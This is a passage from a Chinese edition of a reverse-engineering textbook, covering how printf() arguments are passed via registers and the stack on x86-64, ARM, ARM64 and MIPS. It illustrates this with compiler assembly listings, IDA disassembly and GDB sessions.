edi 0x0 0 eip 0x804844f 0x804844f <main+50> ... 6.1.2 x64:传递 9 个参数 为了便于演示,我们再次修改代码,将参数的数量增加到 9 个。其中 8 个参数是 int 整型变量,另有 1 个用于控制输出格式的格式化字符串。 #include <stdio.h> int main() { printf("a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%d; h=%d\n", 1, 2, 3, 4, 5, 6, 7, 8); return 0; }; MSVC 前文介绍过,Win64 使用 RCX、RDX、R8、R9 寄存器传递前 4 个参数,使用栈来传递其余的参数。 我们将在本例中观察到这个现象。在下面的例子里,编译器使用了 MOV 指令对栈地址进行直接操作而没 有使用 PUSH 指令。 指令清单 6.3 MSVC 2012 x64 $SG2923 DB 'a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%d; h=%d’, 0aH, 00H main PROC sub rsp, 88 mov DWORD PTR [rsp+64], 8 mov DWORD PTR [rsp+56], 7 mov DWORD PTR [rsp+48], 6 mov DWORD PTR [rsp+40], 5 mov DWORD PTR [rsp+32], 4 mov r9d, 3 mov r8d, 2 异步社区会员 dearfuture(15918834820) 专享 尊重版权 42 逆向工程权威指南(上册) mov edx, 1 lea rcx, OFFSET FLAT:$SG2923 call printf ; return 0 xor eax, eax add rsp, 88 ret 0 main ENDP _TEXT ENDS END 在 64 位系统中,整型数据只占用 4 字节空间。那么,为什么编译器给整型数据分配了 8 个字节?其实, 即使数据的存储空间不足 64 位,编译器还是会给它分配 8 字节的存储空间。这不仅是为了方便系统对每个 参数进行内存寻址,而且编译器都会进行地址对齐。所以,64 位系统为所有类型的数据都保留 8 字节空间。 同理,32 位系统也为所有类型的数据都保留 4 字节空间。 GCC x86-64 的*NIX 系统采用与 Win64 类似的方法传递参数。它优先使用 RDI、RSI、RDX、RCX、R8、 R9 寄存器传递前六个参数,然后利用栈传递其余的参数。在生成汇编代码时,GCC 把字符串指针存储到了 EDI 寄存器、而非完整的 RDI 寄存器。在前面的 3.2.2 节中,64 位 GCC 生成的汇编代码里也出现过这个现象。 在 3.2.2 节的那个例子里,程序在调用 printf()函数之前清空了 EAX 寄存器。本例中存在相同的操作。 指令清单 6.4 Optimizing GCC 4.4.6 x64 .LC0: .string "a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%d; h=%d\n" main: sub rsp, 40 mov r9d, 5 mov r8d, 4 mov ecx, 3 mov edx, 2 mov esi, 1 mov edi, OFFSET FLAT:.LC0 xor eax, eax ; number of vector registers passed mov DWORD PTR [rsp+16], 8 mov DWORD PTR [rsp+8], 7 mov DWORD PTR [rsp], 6 call printf ; return 0 xor eax, eax add rsp, 40 ret GCC + GDB 在使用 GDB 调试它之前,我们首先要编译源代码: $ gcc -g 2.c -o 2 $gdb2 GNU gdb (GDB)7.6.1‐ubuntu Copyright(C)2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version3 or later<http://gnu.org/licenses/gpl.html> This is free software : you are free to change and redistribute it. There is NOWARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as"x86_64‐l i nux‐gnu". 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 6 章 printf()函数与参数调用 43 For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /home/dennis/polygon/2...done. 接下来,我们在 printf()运行之前设置断点,然后运行这个程序: (gdb) b printf Breakpoint 1 at 0x400410 (gdb) run Starting program: /home/dennis/polygon/2 Breakpoint 1, __printf (format=0x400628 "a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%d; h=%d\n") at printf.c:29 29 printf.c: No such file or directory RSI/RDX/RCX/R8/R9寄存器的值就是传递给函数的参数。RIP 寄存器的值应当是printf()函数的首地址。 我们可以在 GDB 里查看各寄存器的值: (gdb) info registers rax 0x0 0 rbx 0x0 0 rcx 0x3 3 rdx 0x2 2 rsi 0x1 1 rdi 0x400628 4195880 rbp 0x7fffffffdf60 0x7fffffffdf60 rsp 0x7fffffffdf38 0x7fffffffdf38 r8 0x4 4 r9 0x5 5 r10 0x7fffffffdce0 140737488346336 r11 0x7ffff7a65f60 140737348263776 r12 0x400440 4195392 r13 0x7fffffffe040 140737488347200 r14 0x0 0 r15 0x0 0 rip 0x7ffff7a65f60 0x7ffff7a65f60 <__printf> ... 指令清单 6.5 检查格式化字符串 (gdb)x/s$rdi 0x400628: "a=%d;b=%d;c=%d;d=%d;e=%d;f=%d;g=%d;h=%d\n" 然后使用 x/g 指令显示栈中的数值。指令中的 g 代表 giant words,即以 64 位 words 型数据的格式显示各数据。 (gdb)x/10g$rsp 0x7fffffffdf38: 0x0000000000400576 0x0000000000000006 0x7fffffffdf48: 0x0000000000000007 0x00007fff00000008 0x7fffffffdf58: 0x0000000000000000 0x0000000000000000 0x7fffffffdf68: 0x00007ffff7a33de5 0x0000000000000000 0x7fffffffdf78: 0x00007fffffffe048 0x0000000100000000 64 位系统的栈与 32 位系统的栈没有太大的区别。栈里的第一个值是返回地址 RA。紧接其后的,是三 个保存在栈里的参数 6、7、8。应该注意到数值“8”的高 32 位地址位没有被清零,与之对应的存储空间 的值为“0x00007fff00000008”。因为 int 类型只占用(低)32 位,所以这种存储并不会产生问题。另外, 我们可以认为这个地方的高 32 位数据是随机的脏数据。 此后,我们通过以下指令查看 printf()函数运行之后的、返回地址开始的有关指令。GDB 将会显示 main() 函数的全部指令。 (gdb) set disassembly-flavor intel (gdb) disas 0x0000000000400576 Dump of assembler code for function main: 0x000000000040052d <+0>: push rbp 0x000000000040052e <+1>: mov rbp, rsp 0x0000000000400531 <+4>: sub rsp, 0x20 0x0000000000400535 <+8>: mov DWORD PTR [rsp+0x10], 0x8 0x000000000040053d <+16>: mov DWORD PTR [rsp+0x8], 0x7 0x0000000000400545 <+24>: mov DWORD PTR [rsp], 0x6 0x000000000040054c <+31>: mov r9d, 0x5 异步社区会员 dearfuture(15918834820) 专享 尊重版权 44 逆向工程权威指南(上册) 0x0000000000400552 <+37>: mov r8d, 0x4 0x0000000000400558 <+43>: mov ecx, 0x3 0x000000000040055d <+48>: mov edx, 0x2 0x0000000000400562 <+53>: mov esi, 0x1 0x0000000000400567 <+58>: mov edi, 0x400628 0x000000000040056c <+63>: mov eax, 0x0 0x0000000000400571 <+68>: call 0x400410, <printf@plt> 0x0000000000400576 <+73>: mov eax, 0x0 0x000000000040057b <+78>: leave 0x000000000040057c <+79>: ret End of assembler dump. 接下来,通过“finish”指令运行 printf()之后的程序。余下的指令会清空 EAX 寄存器,可以注意到那 时 EAX 已经为零。现在,RIP 指针指向 LEAVE 指令,就是 main()函数的倒数第二条指令。 (gdb) finish Run till exit from #0__printf (format=0x400628"a=%d;b=%d;c=%d;d=%d; e=%d;f=%d;g=%d;h=%d\n") at printf.c:29 a=1;b=2;c=3;d=4;e=5;f=6;g=7;h=8 main () at2.c:6 6 return0; Value returned is $1=39 (gdb) next 7 }; (gdb) info registers rax 0x0 0 rbx 0x0 0 rcx 0x26 38 rdx 0x7ffff7dd59f0 140737351866864 rsi 0x7fffffd9 2147483609 rdi 0x0 0 rbp 0x7fffffffdf60 0x7fffffffdf60 rsp 0x7fffffffdf40 0x7fffffffdf40 r8 0x7ffff7dd26a0 140737351853728 r9 0x7ffff7a60134 140737348239668 r10 0x7fffffffd5b0 140737488344496 r11 0x7ffff7a95900 140737348458752 r12 0x400440 4195392 r13 0x7fffffffe040 140737488347200 r14 0x0 0 r15 0x0 0 rip 0x40057b 0x40057b <main+78> ... 6.2 ARM 6.2.1 ARM 模式下传递 3 个参数 ARM 系统在传递参数时,通常会进行拆分:把前 4 个参数传递给 R0~R3 寄存器,然后利用栈传递其 余的参数。在获取(组装)参数时,遵循的函数调用约定是 fastcall 约定或 win64 约定。有关这两种约定的 的详细介绍,请参照 64.3 节和 64.5.1 节。 32 位 ARM 系统 非经优化的 Keil+ARM 模式 指令清单 6.6 非经优化的 Keil 6/2013(ARM 模式) .text:00000000 main .text:00000000 10 40 2D E9 STMFD SP!, {R4,LR} .text:00000004 03 30 A0 E3 MOV R3, #3 .text:00000008 02 20 A0 E3 MOV R2, #2 .text:0000000C 01 10 A0 E3 MOV R1, #1 .text:00000010 08 00 8F E2 ADR R0, aADBDCD; "a=%d; b=%d; c=%d" .text:00000014 06 00 00 EB BL __2printf .text:00000018 00 00 A0 E3 MOV R0, #0 ; return 0 .text:0000001C 10 80 BD E8 LDMFD SP!, {R4,PC} 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 6 章 printf()函数与参数调用 45 可见,R0~R3 寄存器依次负责传递参数。其中,R0 寄存器用来传递格式化字符串,R1 寄存器传递 1, R2 寄存器传递 2,R3 寄存器传递 3。 0x18 处的指令将 R0 寄存器置零,对应着源代码中的“return 0”。 这段汇编指令中规中矩。 即使开启了优化选项,Keil 6/2013 生成的汇编指令也完全相同。 开启了优化选项的 Keil 6/2013 (Thumb 模式) 指令清单 6.7 开启了优化选项的 Keil 6/2013 (Thumb 模式) .text:00000000 main .text:00000000 10 B5 PUSH {R4, LR} .text:00000002 03 23 MOVS R3, #3 .text:00000004 02 22 MOVS R2, #2 .text:00000006 01 21 MOVS R1, #1 .text:00000008 02 A0 ADR R0, aADBDCD;"a=%d; b=%d; c=%d" .text:0000000A 00 F0 0D F8 BL __2printf .text:0000000E 00 20 MOVS R0, #0 .text:00000010 10 BD POP {R4,PC} 这段代码和前面那段 ARM 程序没有太多差别。 开启优化选项的 Keil 6/2013 (ARM 模式) + 无返回值 我们对源代码略做修改,删除“return 0”的语句: #include <stdio.h> void main() { printf("a=%d; b=%d; c=%d", 1, 2, 3); }; 相应的汇编指令就会出现显著的差别: .text:00000014 main .text:00000014 03 30 A0 E3 MOV R3, #3 .text:00000018 02 20 A0 E3 MOV R2, #2 .text:0000001C 01 10 A0 E3 MOV R1, #1 .text:00000020 1E 0E 8F E2 ADR R0, aADBDCD ;"a=%d;b=%d;c=%d\n" .text:00000024 CB 18 00 EA B __2printf 在其余优化选项(-O3)之后,把源代码编译为 ARM 模式的代码。这次,程序的最后一条指令变成了 B 指令,不再使用之前的 BL 指令。另外,与前面那个没有启用优化选项的例子相比,本例并没有出现保 存 R0 和 LR 寄存器的函数序言或函数尾声。这形成了另一个显著的差异。B 指令仅仅将程序跳转到另一个 地址,不会根据 LR 寄存器的值进行返回。大体上说,它和 x86 平台的 JMP 指令非常相似。为什么编译器 会如此处理呢?实际上,这些指令与前面(未启用优化选项)的运行结果相同。主要原因有两个: (1)栈和 SP(Stack Pointer)都没有发生变化。 (2)调用 printf()函数是程序的最后一条指令;调用之后程序再无其他操作。 即使未启用优化选项,在完成 printf()函数的作业之后,程序只是要返回到 LR 寄存器里存储的返回地 址而已。LR 的值并没有因为调用 printf()函数而发生变化,而且程序也没有调用 printf()函数之外的函数。 因为没有指令会修改 LR 的值,所以程序不必保存 LR 的状态。另外,在调用这个函数之后,程序也没有 其他操作。故而编译器进行了相应的优化。 当程序最后的语句是调用另外一个函数时,编译器通常都会进行这种优化。 本书 13.1.1 节的“指令清单 13.2”再次出现了这种优化技术。 ARM64 非经优化的 GCC (Linaro) 4.9 异步社区会员 dearfuture(15918834820) 专享 尊重版权 46 逆向工程权威指南(上册) 指令清单 6.8 非经优化的 GCC (Linaro) 4.9 .LC1: .string "a=%d; b=%d; c=%d" f2: ; save FP and LR in stack frame: stp x29, x30, [sp, -16]! ; set stack frame (FP=SP): add x29, sp, 0 adrp x0, .LC1 add x0, x0, :lo12:.LC1 mov w1, 1 mov w2, 2 mov w3, 3 bl printf mov w0, 0 ; restore FP and LR ldp x29, x30, [sp], 16 ret 第一条 STP(Store Pair)指令把 FP(X29)和 LR(X30)的值推送入栈。第二条“ADD X29, SP, 0”指令构成 栈帧,它只是把 SP 的值复制给 X29。 后面的“ADDRP/ADD”指令对构建了字符串的指针。 在传递给 printf()的格式化字符串里,%d 是 32 位 int 整型数据。所以,程序使用了寄存器的 32 位存储 后面的数据 1、2、3。 即使启用了 GCC (Linaro) 4.9 的优化选项,它生成的指令也与此相同。 6.2.2 ARM 模式下传递 8 个参数 我们对 6.1.2 节的例子稍做修改: #include <stdio.h> int main() { printf("a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%d; h=%d\n", 1, 2, 3, 4, 5, 6, 7, 8); return 0; }; Optimizing Keil 6/2013:ARM 模式 .text:00000028 main .text:00000028 .text:00000028 var_18 = -0x18 .text:00000028 var_14 = -0x14 .text:00000028 var_4 = -4 .text:00000028 .text:00000028 04 E0 2D E5 STR LR, [SP,#var_4]! .text:0000002C 14 D0 4D E2 SUB SP, SP, #0x14 .text:00000030 08 30 A0 E3 MOV R3, #8 .text:00000034 07 20 A0 E3 MOV R2, #7 .text:00000038 06 10 A0 E3 MOV R1, #6 .text:0000003C 05 00 A0 E3 MOV R0, #5 .text:00000040 04 C0 8D E2 ADD R12, SP, #0x18+var_14 .text:00000044 0F 00 8C E8 STMIA R12, {R0-R3} .text:00000048 04 00 A0 E3 MOV R0, #4 .text:0000004C 00 00 8D E5 STR R0, [SP,#0x18+var_18] .text:00000050 03 30 A0 E3 MOV R3, #3 .text:00000054 02 20 A0 E3 MOV R2, #2 .text:00000058 01 10 A0 E3 MOV R1, #1 .text:0000005C 6E 0F 8F E2 ADR R0, aADBDCDDDEDFDGD ; "a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%"... .text:00000060 BC 18 00 EB BL __2printf .text:00000064 14 D0 8D E2 ADD SP, SP, #0x14 .text:00000068 04 F0 9D E4 LDR PC, [SP+4+var_4],#4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 6 章 printf()函数与参数调用 47 程序分为以下几个部分。  函数序言: 第一条指令“STR LR, [SP,#var_4]!”将 LR 寄存器的值推送入栈。在后面调用 printf()函数的时候, 程序会修改这个寄存器的值。指令中的感叹号表示这属于预索引(pre-index)指令。具体说来, 它会首先将 SP 的值减去 4,然后再把 LR 的值保存在 SP 所指向的地址。这条指令与 x86 平台的 PUSH 指令十分类似。有关 PUSH 指令的详细介绍,请参见本书的 28.2 节。 第二条指令“SUB SP, SP, #0x14”将修改栈指针 SP,以便在栈内分配 0x14(即 20)字节的存储 空间。在后续的操作中,程序会传递 5 个 32 位参数,所以此时需要分配 5×4=20 字节的存储空间。 而函数所需的前 4 个参数则是由寄存器负责传递。  使用栈传递 5、6、7、8: 参数 5、6、7、8 分别被存储到 R0、R1、R2、R3 寄存器,然后通过“ADD R12, SP, #0x18+var_14” 指令把栈的指针地址写到 R12 寄存器里,以供后续指令进行入栈操作。var_14 是 IDA 创建的汇编 宏,其数值等于−0x14。这种“var_?”形式的宏出现在与栈有关的操作指令上时,用于标注栈中 的局部变量。最终,R12 寄存器里将会放入 SP+4。 后面的“STMIA R12, {R0-R3}”指令把R0~R3 寄存器中的内容写到R12 寄存器的值所表示的内存地址上。 STMIA 是“Store Multiple Increment After” 的缩写。顾名思义,每写入一个寄存器的值,R12 的值就会加4。  通过栈传递数值 4: MOV 指令向 R0 寄存器里写入数值“4”。然后,“STR R0, [SP,#0x18+var_18]”指令把 R0 寄存器 的值也存储于栈中。由于 var_18 就是−0x18,所以偏移量的值最终为 0。可见,R0 寄存器里的值 将会写到 SP 所指向的内存地址。  通过寄存器传递 1、2、3: 传递给 printf()函数的前三个参数 a、b、c(分别为 1、2、3)通过 R1、R2、R3 寄存器传递给 printf() 函数。在此之前,其他的 5 个数字都已经推送入栈。在传递格式化字符串之后,被调用的 printf() 函数就可以调用它所需的全部参数了。  调用 printf()函数。  函数尾声: “ADD SP, SP, #0x14”指令把栈指针 SP 还原为调用 printf()之前的状态,起到释放栈空间的作用。当然, 栈内原有的数据不会被清除或者置零,仍然存在相应地址上。在执行其他函数时,这些数据将被复写。 在程序的最后,“LDR PC, [SP+4+var_4],#4”从栈中提取 LR 寄存器的值,把它传递给 PC 寄存器。 接下来程序将会跳转到那里。这将结束整个程序。这条指令没有出现感叹号,属于“延迟索引 /post-index”指令。也就是说,它先把[SP+4+var_4](即[SP])传递给 PC,然后再做 SP=SP−4 的运算。为什么 IDA 以这种风格显示这条指令?IDA 以此充分展现栈的内存存储布局,var_4 是 局部栈里保管 LR 的数据空间。这条指令与 x86 平台的 POP 指令十分类似。 Optimizing Keil 6/2013: Thumb 模式 .text:0000001C printf_main2 .text:0000001C .text:0000001C var_18 = -0x18 .text:0000001C var_14 = -0x14 .text:0000001C var_8 = -8 .text:0000001C .text:0000001C 00 B5 PUSH {LR} .text:0000001E 08 23 MOVS R3, #8 .text:00000020 85 B0 SUB SP, SP, #0x14 .text:00000022 04 93 STR R3, [SP,#0x18+var_8] .text:00000024 07 22 MOVS R2, #7 .text:00000026 06 21 MOVS R1, #6 异步社区会员 dearfuture(15918834820) 专享 尊重版权 48 逆向工程权威指南(上册) .text:00000028 05 20 MOVS R0, #5 .text:0000002A 01 AB ADD R3, SP, #0x18+var_14 .text:0000002C 07 C3 STMIA R3!, {R0-R2} .text:0000002E 04 20 MOVS R0, #4 .text:00000030 00 90 STR R0, [SP,#0x18+var_18] .text:00000032 03 23 MOVS R3, #3 .text:00000034 02 22 MOVS R2, #2 .text:00000036 01 21 MOVS R1, #1 .text:00000038 A0 A0 ADR R0,aADBDCDDDEDFDGD ; "a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%"… .text:0000003A 06 F0 D9 F8 BL __2printf .text:0000003E .text:0000003E loc_3E ; CODE XREF: example13_f+16 .text:0000003E 05 B0 ADD SP, SP, #0x14 .text:00000040 00 BD POP {PC} Thumb 模式的代码与 ARM 模式的代码十分相似,但是参数入栈的顺序不同。即,Thumb 模式会在第 一批次将 8 推送入栈、第二批次将 7、6、5 推送入栈,而在第三批次将 4 推送入栈。 Optimizing Xcode 4.6.3 (LLVM):ARM 模式 __text:0000290C _printf_main2 __text:0000290C __text:0000290C var_1C = -0x1C __text:0000290C var_C = -0xC __text:0000290C __text:0000290C 80 40 2D E9 STMFD SP!, {R7,LR} __text:00002910 0D 70 A0 E1 MOV R7, SP __text:00002914 14 D0 4D E2 SUB SP, SP, #0x14 __text:00002918 70 05 01 E3 MOV R0, #0x1570 __text:0000291C 07 C0 A0 E3 MOV R12, #7 __text:00002920 00 00 40 E3 MOVT R0, #0 __text:00002924 04 20 A0 E3 MOV R2, #4 __text:00002928 00 00 8F E0 ADD R0, PC, R0 __text:0000292C 06 30 A0 E3 MOV R3, #6 __text:00002930 05 10 A0 E3 MOV R1, #5 __text:00002934 00 20 8D E5 STR R2, [SP,#0x1C+var_1C] __text:00002938 0A 10 8D E9 STMFA SP, {R1,R3,R12} __text:0000293C 08 90 A0 E3 MOV R9, #8 __text:00002940 01 10 A0 E3 MOV R1, #1 __text:00002944 02 20 A0 E3 MOV R2, #2 __text:00002948 03 30 A0 E3 MOV R3, #3 __text:0000294C 10 90 8D E5 STR R9, [SP,#0x1C+var_C] __text:00002950 A4 05 00 EB BL _printf __text:00002954 07 D0 A0 E1 MOV SP, R7 __text:00002958 80 80 BD E8 LDMFD SP!, {R7, PC} 这段汇编代码与前面的代码十分雷同,不同的是STMFA (Store Multiple Full Ascending)指令。它是 STMIB (Store Multiple Increment Before)的同义词。它们首先增加SP指针的值,然后将数据推送入栈;而不 是先入栈,再调整SP指针。 ① Optimizing Xcode 4.6.3 (LLVM):Thumb-2 模式 虽然这些指令表面看来杂乱无章,但是似乎这就是 xcode 编译出来的程序的一种特点。例如,在地址 0x2918、 0x2920、0x2928 处,R0 寄存器的相关操作似乎可以在一处集中处理。不过,这种分散布局是编译器针对并行计算 而进行的优化。通常,处理器会尝试着并行处理那些相邻的指令。以“MOVT R0, #0”和“ADD R0, PC, R0”为 例——这两条指令都是操作 R0 寄存器的指令,若集中在一起就无法并行计算。另一方面, “MOVT R0, #0”和“MOV R2, #4”之间不存在这种资源冲突,可以同时执行。想必是出于这种设计,编译器才会尽可能地进行这种处理吧。 __text:00002BA0 _printf_main2 ① 指针指向的地址必须有数据,这就是 full stack 的涵义,也是它们与 empty stack 的区别。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 6 章 printf()函数与参数调用 49 __text:00002BA0 __text:00002BA0 var_1C = −0x1C __text:00002BA0 var_18 = −0x18 __text:00002BA0 var_C = −0xC __text:00002BA0 __text:00002BA0 80 B5 PUSH {R7,LR} __text:00002BA2 6F 46 MOV R7, SP __text:00002BA4 85 B0 SUB SP, SP, #0x14 __text:00002BA6 41 F2 D8 20 MOVW R0, #0x12D8 __text:00002BAA 4F F0 07 0C MOV.W R12, #7 __text:00002BAE C0 F2 00 00 MOVT.W R0, #0 __text:00002BB2 04 22 MOVS R2, #4 __text:00002BB4 78 44 ADD R0, PC ; char * __text:00002BB6 06 23 MOVS R3, #6 __text:00002BB8 05 21 MOVS R1, #5 __text:00002BBA 0D F1 04 0E ADD.W LR, SP, #0x1C+var_18 __text:00002BBE 00 92 STR R2, [SP,#0x1C+var_1C] __text:00002BC0 4F F0 08 09 MOV.W R9, #8 __text:00002BC4 8E E8 0A 10 STMIA.W LR, {R1,R3,R12} __text:00002BC8 01 21 MOVS R1, #1 __text:00002BCA 02 22 MOVS R2, #2 __text:00002BCC 03 23 MOVS R3, #3 __text:00002BCE CD F8 STR.W R9, [SP,#0x1C+var_C] __text:00002BD2 01 F0 0A EA BLX _print5 __text:00002BD6 05 B0 ADD SP, SP, #0x14 __text:00002BD8 80 BD POP {R7,PC} 与 ARM 模式编译出的代码相比,这段代码存在着明显的 Thumb 指令的特征。除此之外,ARM 模式 和 Thumb 模式编译出的代码并无实际区别。 ARM64 Non-optimizing GCC (Linaro) 4.9 指令清单 6.9 Non-optimizing GCC (Linaro) 4.9 .LC2: .string "a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%d; h=%d\n" f3: ; grab more space in stack: sub sp, sp, #32 ; save FP and LR in stack frame: stp x29, x30, [sp,16] ; set stack frame (FP=SP): add x29, sp, 16 adrp x0, .LC2 ; "a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%d; h=%d\n" add x0, x0, :lo12:.LC2 mov w1, 8 ; 9th argument str w1, [sp] ; store 9th argument in the stack mov w1, 1 mov w2, 2 mov w3, 3 mov w4, 4 mov w5, 5 mov w6, 6 mov w7, 7 bl printf sub sp, x29, #16 ; restore FP and LR ldp x29, x30, [sp,16] add sp, sp, 32 ret X-或 W-寄存器传递函数的前 8 个参数[参见 ARM13c]。字符串指针使用 64 位寄存器,所以它使用整 异步社区会员 dearfuture(15918834820) 专享 尊重版权 50 逆向工程权威指南(上册) 个 X0 寄存器。所有的其他参数都属于 32 位整型数据,可由寄存器的低 32 位/即 W-寄存器传递。程序使用 栈来传递第九个参数(数值 8)。CPU 的寄存器总数有限,所以寄存器往往不足以传递全部参数。 启用优化选项之后,GCC (linaro)4.9 生成的代码与此相同。 6.3 MIPS 6.3.1 传递 3 个参数 Optimizing GCC 4.4.5 在 MIPS 平台上编译“Hello, world!”程序,编译器不会使用 puts()函数替代 printf()函数,而且它会使 用$5~$7 寄存器(即$A0~$A2)传递前 3 个参数。 这 3 个寄存器都是“A-”开头的寄存器,因为它们就是负责传递参数(arguments)的寄存器。 指令清单 6.10 Optimizing GCC 4.4.5 (汇编输出) $LC0: .ascii "a=%d; b=%d; c=%d\000" main: ; function prologue: lui $28,%hi(__gnu_local_gp) addiu $sp,$sp,-32 addiu $28,$28,%lo(__gnu_local_gp) sw $31,28($sp) ; load address of printf(): lw $25,%call16(printf)($28) ; load address of the text string and set 1st argument of printf(): lui $4,%hi($LC0) addiu $4,$4,%lo($LC0) ; set 2nd argument of printf(): li $5,1 # 0x1 ; set 3rd argument of printf(): li $6,2 # 0x2 ; call printf(): jalr $25 ; set 4th argument of printf() (branch delay slot): li $7,3 # 0x3 ; function epilogue: lw $31,28($sp) ; set return value to 0: move $2,$0 ; return j $31 addiu $sp,$sp,32 ; branch delay slot 指令清单 6.11 Optimizing GCC 4.4.5 (IDA) .text:00000000 main: .text:00000000 .text:00000000 var_10 = -0x10 .text:00000000 var_4 = -4 .text:00000000 ; function prologue: .text:00000000 lui $gp, (__gnu_local_gp >> 16) .text:00000004 addiu $sp, -0x20 .text:00000008 la $gp, (__gnu_local_gp & 0xFFFF) .text:0000000C sw $ra, 0x20+var_4($sp) .text:00000010 sw $gp, 0x20+var_10($sp) ; load address of printf(): .text:00000014 lw $t9, (printf & 0xFFFF)($gp) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 6 章 printf()函数与参数调用 51 ; load address of the text string and set 1st argument of printf(): .text:00000018 la $a0, $LC0 # "a=%d; b=%d; c=%d" ; set 2nd argument of printf(): .text:00000020 li $a1, 1 ; set 3rd argument of printf(): .text:00000024 li $a2, 2 ; call printf(): .text:00000028 jalr $t9 ; set 4th argument of printf() (branch delay slot): .text:0000002C li $a3, 3 ; function epilogue: .text:00000030 lw $ra, 0x20+var_4($sp) ; set return value to 0: .text:00000034 move $v0, $zero ; return .text:00000038 jr $ra .text:0000003C addiu #sp, 0x20 ; branch delay slot IDA 没有显示 0x1C 的指令。实际上 0x18 是“LUI”和“ADDIU”两条指令,IDA 把它们显示为单条 的伪指令,占用了 8 个字节。 Non-optimizing GCC 4.4.5 如果不启用编译器的优化选项,那么 GCC 输出的指令会详细得多。 指令清单 6.12 Non-optimizing GCC 4.4.5(汇编输出) $LC0: .ascii "a=%d; b=%d; c=%d\000" main: ; function prologue: addiu $sp,$sp,-32 sw $31,28($sp) sw $fp,24($sp) move $fp,$sp lui $28,%hi(__gnu_local_gp) addiu $28,$28,%lo(__gnu_local_gp) ; load address of the text string lui $2,%hi($LC0) addiu $2,$2,%lo($LC0) ; set 1st argument of printf(): move $4,$2 ; set 2nd argument of printf(): li $5,1 # 0x1 ; set 3rd argument of printf(): li $6,2 # 0x2 ; set 4th argument of printf(): li $7,3 # 0x3 ; get address of printf(): lw $2,%call16(printf)($28) nop ; call printf(): move $25,$2 jalr $25 nop ; function epilogue: lw $28,16($fp) ; set return value to 0: move $2,$0 move $sp,$fp lw $31,28($sp) lw $fp,24($sp) addiu $sp,$sp,32 ; return j #31 nop 异步社区会员 dearfuture(15918834820) 专享 尊重版权 52 逆向工程权威指南(上册) 指令清单 6.13 Non-optimizing GCC 4.4.5 (IDA) .text:00000000 main: .text:00000000 .text:00000000 var_10 = -0x10 .text:00000000 var_8 = -8 .text:00000000 var_4 = -4 .text:00000000 ; function prologue: .text:00000000 addiu $sp, -0x20 .text:00000004 sw $ra, 0x20+var_4($sp) .text:00000008 sw $fp, 0x20+var_8($sp) .text:0000000C move $fp, $sp .text:00000010 la $gp, __gnu_local_gp .text:00000018 sw $gp, 0x20+var_10($sp) ; load address of the text string: .text:0000001C la $v0, aADBDCD # "a=%d; b=%d; c=%d" ; set 1st argument of printf(): .text:00000024 move $a0, $v0 ; set 2nd argument of printf(): .text:00000028 li $a1, 1 ; set 3rd argument of printf(): .text:0000002C li $a2, 2 ; set 4th argument of printf(): .text:00000030 li $a3, 3 ; get address of printf(): .text:00000034 lw $v0, (printf & 0xFFFF)($gp) .text:00000038 or $at, $zero ; call printf(): .text:0000003C move $t9, $v0 .text:00000040 jalr $t9 .text:00000044 or $at, $zero ; NOP ; function epilogue: .text:00000048 lw $gp, 0x20+var_10($fp) ; set return value to 0: .text:0000004C move $v0, $zero .text:00000050 move $sp, $fp .text:00000054 lw $ra, 0x20+var_4($sp) .text:00000058 lw $fp, 0x20+var_8($sp) .text:0000005C addiu $sp, 0x20 ; return .text:00000060 jr $ra .text:00000064 or $at, $zero ; NOP 6.3.2 传递 9 个参数 我们再次使用 6.1.2 节中的例子,演示 9 个参数的传递。 #include <stdio.h> int main() { printf("a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%d; h=%d\n", 1, 2, 3, 4, 5, 6, 7, 8); return 0; }; Optimizing GCC 4.4.5 在传递多个参数时,MIPS 会使用$A0~$A3 传递前 4 个参数,使用栈传递其余的参数。这种平台主要 采用一种名为“O32”的函数调用约定。实际上大多数 MIPS 系统都采用这种约定。如果采用了其他的函 数调用约定,例如 N32 约定,寄存器的用途则会有不同的设定。 下面指令中的“SW”是“Store Word”的缩写,用以把寄存器的值写入内存。MIPS 的指令集很小, 没有把数据直接写入内存地址的那类指令。当需要进行这种操作时,就不得不组合使用 LI/SW 指令。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 6 章 printf()函数与参数调用 53 指令清单 6.14 Optimizing GCC 4.4.5 (汇编输出) $LC0: .ascii "a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%d; h=%d\012\000" main: ; function prologue: lui $28,%hi(__gnu_local_gp) addiu $sp,$sp,-56 addiu $28,$28,%lo(__gnu_local_gp) sw $31,52($sp) ; pass 5th argument in stack: li $2,4 # 0x4 sw $2,16($sp) ; pass 6th argument in stack: li $2,5 # 0x5 sw $2,20($sp) ; pass 7th argument in stack: li $2,6 # 0x6 sw $2,24($sp) ; pass 8th argument in stack: li $2,7 # 0x7 lw $25,%call16(printf)($28) sw $2,28($sp) ; pass 1st argument in $a0: lui $4,%hi($LC0) ; pass 9th argument in stack: li $2,8 # 0x8 sw $2,32($sp) addiu $4,$4,%lo($LC0) ; pass 2nd argument in $a1: li $5,1 # 0x1 ; pass 3rd argument in $a2: li $6,2 # 0x2 ; call printf(): jalr $25 ; pass 4th argument in $a3 (branch delay slot): li $7,3 # 0x3 ; function epilogue: lw $31,52($sp) ; set return value to 0: move $2,$0 ; return j $31 addiu $sp,$sp,56 ; branch delay slot 指令清单 6.15 Optimizing GCC 4.4.5 (IDA) .text:00000000 main: .text:00000000 .text:00000000 var_28 = -0x28 .text:00000000 var_24 = -0x24 .text:00000000 var_20 = -0x20 .text:00000000 var_1C = -0x1C .text:00000000 var_18 = -0x18 .text:00000000 var_10 = -0x10 .text:00000000 